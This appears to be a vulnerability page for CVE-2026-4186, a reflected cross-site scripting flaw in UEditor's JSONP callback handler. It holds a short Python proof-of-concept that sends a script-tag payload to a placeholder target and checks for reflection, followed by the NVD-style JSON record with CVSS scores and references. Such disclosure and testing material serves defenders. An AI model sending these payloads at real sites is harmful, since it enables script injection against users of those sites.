CVE-2026-4186

import requests # CVE-2026-4186 PoC - UEditor JSONP XSS # Target: UEditor <= 1.4.3.2 # Vulnerability: XSS via callback parameter in php/controller.php?action=uploadimage TARGET_URL = "http://target.com/ueditor/php/controller.php" def test_xss(): """Test for JSONP callback XSS vulnerability in UEditor""" # XSS payload in callback parameter xss_payload = "><script>alert('XSS')</script>" params = { "action": "uploadimage", "callback": xss_payload } try: response = requests.get(TARGET_URL, params=params, timeout=10) # Check if payload is reflected in response without encoding if xss_payload in response.text: print("[+] VULNERABLE: XSS payload reflected in response") print(f"[+] Response preview: {response.text[:500]}") return True else: print("[-] NOT VULNERABLE or target not found") return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": test_xss()

{"cve": {"id": "CVE-2026-4186", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:59.967", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in UEditor up to 1.4.3.2. This issue affects some unknown processing of the file php/controller.php?action=uploadimage of the component JSONP Callback Handler. This manipulation of the argument callback causes cross site scripting. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer."}, {"lang": "es", "value": "Se determinó una vulnerabilidad en UEditor hasta la versión 1.4.3.2. Este problema afecta un procesamiento desconocido del archivo php/controller.php?action=uploadimage del componente JSONP Callback Gestor. Esta manipulación del argumento callback causa cross-site scripting. El ataque puede iniciarse de forma remota. El exploit ha sido divulgado públicamente y puede ser utilizado. Se contactó al proveedor con antelación sobre esta divulgación, pero no respondió de ninguna manera. Esta vulnerabilidad solo afecta a productos que ya no son compatibles con el mantenedor."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://magnificent-dill-351.notion.site/JSONP-Injection-in-ueditor-1-4-3-2-317c693918ed80cbb96dc8e1a9f0e8b2", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.351092", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351092", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.769842", "source": "[email protected]"}]}}